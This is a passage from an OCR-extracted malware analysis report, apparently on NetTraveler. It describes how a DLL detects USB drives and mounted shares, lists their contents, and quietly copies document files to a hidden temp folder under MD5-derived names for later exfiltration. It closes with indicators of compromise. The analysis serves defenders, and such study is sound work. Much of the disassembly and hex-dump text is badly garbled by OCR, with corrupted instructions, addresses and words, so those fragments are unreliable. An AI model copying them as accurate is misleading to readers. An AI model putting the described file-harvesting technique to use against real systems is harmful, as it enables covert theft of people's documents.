Jtext: 18884633 push edi 3 htind
Jtext: 18884634 call ds :Showkindow
Jtext: 18884634 push edi 3 htind
Jtext:1eea4638 call ds:Updatekindow
Ltext:1e964641 mov edi, ds:GetMessageA
Jtext: 18884647 push esi 3 wMsgFilterMax
Jtext: 18884648 push esi 3 wMsgFilterMin
.text:1e004649 lea eax, [ebpHisg]
| |.text:1000464C push esi : hkind |
Figure 78

The malware is interested in WM_DEVICECHANGE (0x219) messages with a parameter of
DBT_DEVICEARRIVAL (0x8000) which means that for example a new USB drive has been plugged in or a network

shared folder is mounted on the system:
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push ebp
mov ebp,esp
z0 sub esp,z0
0C 19 02 00 00 cmp dword ptr ss:[ebp+Cl,219
push esi
push edi
14 mov edi,dword ptr ss:|[Jebp+14])
6 jne fastuserswitchingcompatibilityex.1000458BF
10 00 B8O 00 0O cmp dword ptr ss:[ebp+10],8000

) <
-
dword ptr [word ptr [ebp+10]=[00AFEFBS]=8000

.text:10004549 fastuserswitchingcompatibilityex.d11:$4549 #3949

10004535
003705E4
0468063C
FFFFFFFF
ODAFEFEC
T

WWoumpl  Hoump2  @lpump3  @oump4  @oumps @ watchi  Ix=llocals d‘}:’ Struct Tastuserswitchingcompatibilityex. 10004538

Address | Hex | AsciT | | ~
ODAFEFAS|D4 EF AF Q0|BE EQ B2 7G|E4 05 37 00|19 OZ 00 00|01 .»a-Va.7.,... :
00AFEFBS [[0D180] 00 00|00 00 00 00|E4 05 37 00|CD AB BA DC|M...... a.7. ;

Figure 79

Faturn a owthama TAYITACA Fram @00

“USearch” and “UTypeLimit” values parsed from dnlist.ini are expected to be set to “True”, also “UAuto” value is
“False” in dnlist.ini (this could indicate if the exfiltration of the targeted files should be automatically or not). The
attacker is also interested in “Types” parameter (the targeted extensions) and we’ll see why in a bit. The idea is to scan

each and every device inserted and also the network shares mounted on the host and create a “file system” structure in

uenumfs.ini file (as it did in Thread1):

=] venumfz.ini E3 I

i = |[ Computer]

2 Wame=0EsETor- N

3 ~Page=1252

1 @ oeskror- G

5 dl=RA:%

& —dircount=1

7 E [a:\]

g dl=%Recycle _.Bin

5 f£1=3WINRE BACEUP PRRTITIOCN _MREEER
1a filecount=1
11 dircount=1

Figure 80

As in the first case, this search will apply for every directory found on the drive, recursively. The process creates a
“C:\Users\<Username>\AppData\L.ocal\Temp\ntvba00.tmp\” directory and its attribute is set to hidden. The following

file is also created: “C:\Windows\SysWOW64\uenumfs.ini” (the content of it will be similar to enumfs.ini):

&A 00 push 0 X BT WA
5E push esi esi:vcivusers' [l appoaraiiLocat XEZTWEE i
FF 15 ES 90 00 10 €all dword ptr ds:[<acreatedirectoryas]
B85 CO Test eax,eax X875tatus
~ 74 oB je fastuserswitchingcomparibilityex.10004CAC x8750_8
6A 06 push & X87SW_C1
56 push esi esi:"c:\\users\ Il \Apppatai\Local XBTSW_SF
FF 15 EO 90 00 10 €8N dword ptr ds:[<&SetFileAttributesA>] e o
~ EB 11 imp fastuserswitchingcompatibilityex. 10004CED )| —
S e S e R e B R > Daﬁu‘t(stda
dword ptr [1000S0E8 <fastuserswitchingCOmpatibilityex.dlreateDirectoryAs]=<kernel3Z.CreateDirectoryas - Ezgld
3: [esp+8]
3 > gL 4: [esp+C]
. text: 10004C97 fastuserswitchingcompatibilityex.d11:54C97 #4097 i [fespisi
@oumpt  @Yoump2  WWDump3  WYDump4  WDumps @ watch1i  [ellocals 5P Stuct T —— ciusers\ MMl Apmatal Local \\Tenp\intvbado. tp\\

Figure 81

For each file found on the USB drive/network share, the process compares it’s extension with the list mentioned

before: .doc, .docx, .xls, .xlsx, .txt, .rtf, .pdf:

50 push eax eax:",doc,docx,x1s,x1sx, txt,rtf, pdf

8D 85 4C F6 FF FF 1ea eax,dword ptr ss:[ebp-9&84]
50 push eax eax: ", doc,docx,x1s,x1sx, txt,rtf, pdf

EIP, FF 15 B4 91 00 10 call dword ptr ds:[<&strstr>]
>

dword ptr [100091B4 <fastuserswitchingcompatibilityex.&strstr>]=<msvcrt.strstr>

. text:10004902 fastuserswitchingcompatibilityex.d11:$4902 #3D02

DDAFE360 | ",doc,docx,x1s,x1sx, txt,rtf,pdf,™
ODAFE25C | ".marker,”

4% Dump 1 YDump2 @Y Dump3 @ Dump4 B4 Dump S % watch 1 I*=] Locals c‘):’ Struct

Figure 82

Let’s suppose that “C:\eula.1028.txt” (for the sake of simplicity) is a targeted file. The malware calculates a hash

(MD5) of a combination between the filename and last modified timestamp (please note the initialize variables which
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correspond to MD?5 algorithm):

E8/27 F5 EE EE call fastusersmtchIngcumpanbﬂ]tyex 10007EAF
8D 85 74 FF FF FF Tea eax,dword ptr ss:|ebp-5C[)

8B CE mov ecx,esi

50 push eax

8D 45 FO 1ea eax,dword ptr ss:flebp-10f

50 push eax

E8 BE F5 FF FF €311 fastuserswitchingcompatibilityex.10007F538
33 FF xor edi,edi

8D 75 CC lea esi,dword ptr ss:[lebp-34]

fastuserswitchingcompatibilityex.10007EAF

.Text:10008983 fastuserswitchingcompatibilityex.d11:$8983 #7D83

O0AFE1BE
FE1AS| ODAFE464 | "eula.1028.TXT 2007-11-07 12:00:40:000"
AC | 00000025

Wooump1  @oump2  @Woump3  @Hoump4  Woumps @ watch1  Ix-llocals ;5’ Struct
[address Thex lascTT I

Figure 83

] i =]

Ltext:1eea7ERS

Ltext:leea7ERS

text: 10887EES

Ltext:18867EES sub_18BATYESS proc near
Ltext:18BB7ERS

Ltext:18887EBS arg 8= dword ptr 4
Ltext: 188a7ERS

Ltext:18887ERS mov eax, [esptarg_@]
Ltext:18887EEY and dword ptr [eax+l4h], @
text:1e887ESD and dword ptr [eax+18h], @
Jtext:188687E9L mov dword ptr [eax], 674523@1h
Ltext:18887E97 mov dword ptr [eax+4], BEFCDABS%h
Ltext:188687EIE mov dword ptr [eax+8], 93BADCFEh
Jtext:18B87EAS mov dword ptr [eax+BCh], 18325476h

ewt:188a7EAC retn =
text:18887EAC sub_18B87ESS endp
Lhextrleea7EAC

Figure 84

After the function is finished the following result will represent the hash (unique identifier) corresponding to

eula.1028.txt file:

Address | Hex ASCII
DOAFEZ210| 35 66 37 61|37 38 65 37(39 32 37 35|33 32 62 61|5Frarser92rsizba
DOAFE220(32 61 39 33(30 65 63 35|64 34 37 65(32 35 32 61| 2a930ec3d47e2s2a

Figure 85

Now “C:\eula.1028.txt” is copied to “C:\Users\<Username>\AppData\Local\Temp\ntvba00.tmp\U2007-11-07-12-00-
5f7a78e7927532ba2a930ec8d47e252a.txt” (hidden file) — 2007 (year), 11 (month), 07 (day), 12 (hour), 00 (minute),
5f7a78e7927532ba2a930ec8d47e252a is the hash computed above (all values correspond to last modified timestamp):

x87Statusword 0020

GA o0 push R 4 TR %
push ea XB7SW_B 0 x87SW._C3 0
an 85 6C F8 FF FF Sen cax,dword ptr ss:[ebp-794 X875W_C1 0 x875W_CO O
push_eax X87SW_SF 0 X87SW_P 1
i 25 2490 00 30 €11 dword  ptr dst[<cCopyFileas] (B el e S
55 test_eax,eax [ ——

m——

e > Default (stdcall)
I 1: [espl CEN
dword ptr [10D090E4 <fastuserswitchingcompatibilityex.&CopyFileA>]=ckernel32.CopyFileA> 2: [espH] DUAFEB&C T
3: [esp+8] 000000
5 & & 4: [esp+C] 7SSZEE5D <msv
.text:10004A4D fastuserswitchingcompatibilityex.d11:$4A4D #3E4D 5: [esp+10] 76524580 <ms
OOAFESB0 | "Ci'\\eula. 1

Woump1  @lpump2  @4oump3  @lDump4  Fidy
Address |Hex Al

DOAFEEEC
24C | DDDOD0DO

"Ci\\Usersy \\AppDa\:a\\Loca'I\\Teﬂlp\\ntvbaDD TMP\\U2007-11-07-12-00-5F7a78e79275 32baza930eced47e252a, TXT"

Figure 86

The process creates “C:\Windows\SysWOW64\udidx.ini” file and will add all hashes computed as explained before:
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68 50 83 00 10 push fastuserswitchingcompatibilityex. 10008350
50 push eax

57 push edi

FF 15 A0 90 00 10 call dword ptr ds:[<&WritePrivateProfilestringa>]
FF 05 6C 70 01 10 inc qworg ptr qs:!mol?osq

XBTSW,
eax: "Sf7ar8e792753zbazad3lnecid4Tels XB7 SW,
edi:"Index” XxB7 5w,

Eeoer]
v

dword ptr [100090A0 <fastuserswitchingcompatibilityex.&nritePrivateProfilestringA>]=<kernel32.wWritePrivateProfilestringA>

«TEeXT:10004A78 fastuserswitchingcompatibilityex.d11:$4A78 #3E78

@Woumpt | g4 pump 2

Wypump3 @ Dump 4 ¥4 pump 5 O watch 1 eI Locals ? Struct

Address | Hex 1AB:II |
10008350[31 00 00 00]25 73 5C 73[79 73 74 65]6D 5C 63 6F|W...%s\systemico|

Figure 87

T
“sf7ar8e7927532bazas30ec8d47e252a"
fastuserswi tchingcompatibilityex. 10008350

s \\erDo'qS\\systemBz\\udi dx.ini"

Last modified timestamp of the new file is set as the value extracted from the initial file:

ﬁ U2007-11-07-12-00-5f7a78e7927532ba2a930ecBd47e25... X
General Secunty Detads Previous Versions

[l+ |?—12—D&5ﬁa?3&?92?532b32a93ﬂ503d4?e2523.m
Typeoffle:  TXT File (&)
Opens with: g Notepads+ - a free (GN | Change... |
Location:  C:\Users\Il\AppData’Local Temp\ntvba00.tmp
Size: 17.3 KB {17,734 bytes)
Swe ondisk: 20,0 KB (20,480 bytes)
Created: Today, November 23, 2020, 5 minutes ago
Modified: \wednesday, Movember 7, 2007, 7:00:40 AM
Accessed: Today, November 23, 2020, 5 minutes ago
Atributes: [ Read-only [ ] Hidden [‘Advanced._. |

| Comcel | [ Aoply
Figure 88

An example of udidx.ini file after copying all document-related files is shown in the figure below:

[ udidsini E3
b E [Index]
- 5£7a78e7927532bala%30ecid47e252a=1
3 B051bkabb7eT5ce323£9ac3130kaE2de=1
4 3lc4c5£0e9ab51ldE330927a970477eds=1
5 5£f£15d290ea%017ccB99295200886059b=1
£ 7c3592c0b232d950ae€1531454e0d10e=1
7 ch55bac4biasddacdiT78ebTadleET2cE=1
g £5286c0d3583£7e36b9£fbEcc98d9555d=1
E 45bcb34006kbE4442E04462ac8905b0kS=1
10 5d3292ae0e3adclabiadlebiboies3es=1
11 -
Figure 89
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Finally the file is using DefWindowProcA API to ensure that window messages the application does not process have
a default processing function (WM_DEVICECHANGE - 0x219, DBT_DEVICEARRIVAL - 0x8000):

N [
57 push edi

FF 75 10 push dword ptr ss:[ebp+10]

FF 75 OC push dword ptr ss:febp+C]

FF 75 08 push dword ptr ss:[febp+&]

FF 15 EO 91 00 10 call dword ptr ds:[<antdliDefwindowProc_A>]

dword ptr [100091E0 <fastuserswitchingcompatibilityex.&Ntd11DefwindowProc_A>]=<ntd11.Ntd11DefwindowProc_A>

.text:100045C9 fastuserswitchingcompatibilityex.d11:545C9 #39C9
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Figure 950
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C2 domain: vipmailru[.]Jcom

SHA256: FECA8DB35C0C0A901556EFF447C38614D14A7140496963DF2E613B206527B338
SHA256: ED6AD64DADS5FE11F3CC786C8DE1F5B239115B94E30420860F02E820FFC53924
Mutexes: “NetTravler Is Running!”, ” INSTALL SERVICES NOW!”

File names on disk:

%System%\config_t.dat
%windir%\system32\enumfs.ini
%windir%\system32\dnlist.ini
%windir%\system32\udidx.ini
%windir%\system32\uenumfs.ini
%windir%)\system32\stat_t.ini
%windir%)\system32\system_t.dll
%windir%\install.exe
%TEMP%\ntvba00.tmp\
temp.bat
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